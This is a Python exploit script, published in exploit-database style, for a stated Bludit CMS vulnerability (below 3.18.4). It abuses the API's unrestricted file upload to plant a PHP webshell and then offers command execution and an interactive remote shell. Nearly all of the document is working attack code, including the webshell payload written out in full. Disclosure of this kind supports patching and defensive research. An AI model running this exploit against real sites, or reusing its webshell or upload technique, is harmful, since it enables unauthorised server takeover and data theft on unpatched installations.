# Exploit Title: Bludit CMS 3.18.4 - RCE
# Date: 2026-03-28
# Exploit Author: Yahia Hamza (https://yh.do)
# Vendor Homepage: https://www.bludit.com/
# Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip
# Version: Bludit < 3.18.4
# Tested on: Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3
# CVE: CVE-2026-25099
#
# Description:
# Bludit CMS API plugin allows an authenticated user with a valid API token
# to upload files of any type and extension via POST /api/files/<page-key>.
# The uploadFile() function performs no file extension or content validation,
# allowing upload of PHP webshells that execute as www-data.
#
# The API token is generated when the API plugin is activated and is visible
# to users with admin panel access. Tokens may also be exposed through
# misconfiguration, log files, or other application vulnerabilities.
#
# Fixed in Bludit 3.18.4.
#
# Usage:
# python3 CVE-2026-25099.py -u http://target -t API_TOKEN
# python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id"
import argparse
import requests
import sys
import random
import string
def get_page_key(base_url, token):
"""Retrieve a valid page key from the Bludit API."""
try:
r = requests.get(
f"{base_url}/api/pages",
params={"token": token},
timeout=10
)
if r.status_code == 200:
data = r.json()
if data.get("data") and len(data["data"]) > 0:
return data["data"][0]["key"]
except requests.RequestException as e:
print(f"[-] Connection error: {e}")
return None
def upload_shell(base_url, token, page_key):
"""Upload a PHP webshell via the unrestricted file upload endpoint."""
shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'
try:
r = requests.post(
f"{base_url}/api/files/{page_key}",
data={"token": token},
files={"file": (shell_name, shell_content, "application/x-php")},
timeout=10
)
if r.status_code == 200:
data = r.json()
if data.get("status") == "0":
shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
return shell_url, shell_name
except requests.RequestException as e:
print(f"[-] Upload error: {e}")
return None, None
def execute_command(shell_url, cmd):
"""Execute a command via the uploaded webshell."""
try:
r = requests.get(shell_url, params={"cmd": cmd}, timeout=10)
if r.status_code == 200 and "<pre>" in r.text:
return r.text.split("<pre>")[1].split("</pre>")[0].strip()
except requests.RequestException:
pass
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE"
)
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)")
parser.add_argument("-t", "--token", required=True, help="Bludit API token")
parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)")
args = parser.parse_args()
base_url = args.url.rstrip("/")
print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE")
print(f"[*] Target: {base_url}")
# Step 1: Get page key
print("[*] Retrieving page key...")
page_key = get_page_key(base_url, args.token)
if not page_key:
sys.exit("[-] Failed to retrieve page key. Check URL and token.")
print(f"[+] Page key: {page_key}")
# Step 2: Upload webshell
print("[*] Uploading webshell...")
shell_url, shell_name = upload_shell(base_url, args.token, page_key)
if not shell_url:
sys.exit("[-] Upload failed.")
print(f"[+] Shell uploaded: {shell_url}")
# Step 3: Verify RCE
print("[*] Verifying RCE...")
test = execute_command(shell_url, "id")
if not test:
sys.exit("[-] RCE verification failed. Shell may not be accessible.")
print(f"[+] RCE confirmed: {test}")
# Step 4: Execute command or interactive shell
if args.command:
output = execute_command(shell_url, args.command)
if output:
print(output)
else:
print("\n[+] Interactive shell (type 'exit' to quit)\n")
while True:
try:
cmd = input("shell> ")
if cmd.strip().lower() in ("exit", "quit"):
break
if not cmd.strip():
continue
output = execute_command(shell_url, cmd)
if output:
print(output)
else:
print("(no output)")
except (KeyboardInterrupt, EOFError):
break
print(f"\n[*] Shell: {shell_url}")
if __name__ == "__main__":
main()